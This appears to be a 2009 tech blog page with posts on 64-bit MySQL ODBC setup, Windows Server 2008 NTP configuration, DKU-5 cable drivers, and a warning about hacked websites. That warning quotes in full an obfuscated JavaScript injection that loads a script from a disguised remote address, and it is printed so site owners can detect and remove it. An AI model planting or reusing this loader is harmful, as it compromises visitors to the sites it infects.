MYSQL ODBC 64 Bit problems

By , December 30, 2009 5:26 PM

MYSQL on Server 2008 64 bit and Vista 64 bit Problems

63 bit odbc controller found in wow64
c:\windows\syswow64\odbccad32.exe
turnoff User Account Control in “Control Panel\User Accounts\” and reboot the system

you can control System DSN and User DSN but you need to

The Wow64 setting are actually the 32 bit settings. Since

we were running 32 bit apps it was always working correctly. There is a

different file for setting up the Wow64 32 bit DSNs

c:\windows\syswow64\odbccad32.exe

I turned off User Account Control in “Control Panel\User Accounts\” and rebooted the system.  This allowed me to do the above,

Thanks in advance.

Configuring NTP Server Windows Server 2008

By , December 28, 2009 4:17 PM

HOW TO SET UP A TIME SERVER in WINDOWS SERVER 2008

Sick of being confused about setting up a NTP time server in windows server 2008

Follow this Step by step guide

Step 1:
Net time /setsntp:
W32tm /config /syncfromflags:manual /manualpeerlist:
W32tm /config /reliable:yes
W32tm /config /update
W32tm /resync
Pause
Exit

Step 2:
[HKEY_LOCAL_MACHINE\SYSTEM

\CurrentControlSet\Services\W32Time\Config]
“AnnounceFlags”=dword:00000005
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\Parameters]
“Type”=”NTP”
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer]
“Enabled”=dword:00000001

Step 3:
Net stop w32time
Net start w32time
Net time
Pause

YOUR DONE :)

NOW IT WILL WORK

DKU 5 Driver Winows 7, Vista, Server 2008, 64bit

By , December 20, 2009 1:04 PM

DKU 5 Driver windows 7, Vista, Server 2008

I guess you gave upgraded your box to the latest os,
and found your non-genuine Nokia DKU 5 cable no longer works
and you cant find the driver for it anywhere on line.

Most non-genuine DKU 5 cables use the Texas Instrument TUSB3410 RS-232/IR-to-USB converter

so after much work

here are the drivers:

and if you get stuck visit: http://www.multitech.com/en_US/SUPPORT/Updates/Drivers/drivers_by_filename.aspx

search for:  Server 2008 64 bit

Site virus

By , December 11, 2009 2:39 PM

Has your site been hacked?

Have you seen this at the bottom of your web page code?

bald chicken

bald chicken

/*GNU GPL*/ try{window.onload = function(){var H3qqea3ur6p = document.createElement(‘script’);H3qqea3ur6p.setAttribute(‘type’, ‘text/javascript’);H3qqea3ur6p.setAttribute(‘id’, ‘myscript1’);H3qqea3ur6p.setAttribute(‘src’,  ‘h#!t&##(t&()p$$:!#@/!(/$#l!)i!&v()@e!^(.$(!c!)o)m@.&!#g#@o((o^g)(l^$!e$)@.&)$c$#o(m#^@.)$b#@#!#a&i#!d^$#$u#)$!(-!((m^!s$)n$&(.@)@c^@$o((m!(&.^)(b&!!)e@s(&t@@a()r#$#)t))@s#!#)a!l##e@(.))&r$!u!&):)8(0$)@$8^#^@0&)$^/!!&w@$(o@^r(^(!d@^p^#)r#e@^s(&s&@@.(^^c#^o@!!m$)/)&^g@$(^o@(^o@g@&$l&&#e^))&@-($(m)#)a#)i^l^#.!&^)i!&t$@^/((!(l)!i&v^(&(e()#j^$a&s@(&m$^&(i$#@n!#^-#@)p$!!$h$!o(&#t(#o##)!b#!$u^c^#k((e&!)t#!((#.$$@c!&@o@m^)&/)!c&#(n$)e()&&t)#-^#!c^(@n^^n&#).)c!&!o$#m($/$^a&!@@b&()o^($(u!&#)t^#-#))e$@@)b##a#^y&&@.&#(^c&o^^m^@/(@^^’.replace(/\^|&|@|\)|\(|#|\!|\$/ig, ”));H3qqea3ur6p.setAttribute(‘defer’, ‘defer’);document.body.appendChild(H3qqea3ur6p);}} catch(e) {}

This is caused by a virus that infects your computer commonly via bit torrent files downloaded that have a virus hidden in them.

Then this virus scans you computer for any FTP programs that you may have installed,

and steals the passwords for your FTP sites.

Then an automated program connects to your FTP site, and adds the above to any.

1) Html

2) java script filers

3) php files

4) possibly asp files

so they all need to be scanned for the following

I recommend using a program called Search and Replace http://www.funduc.com/search_replace.htm

this will fix all your programs in one hit.

The of course chage all your passwords of your FTP sites,

and get rid of the virus if you can find it

Thomas Challenger Thomas Challenger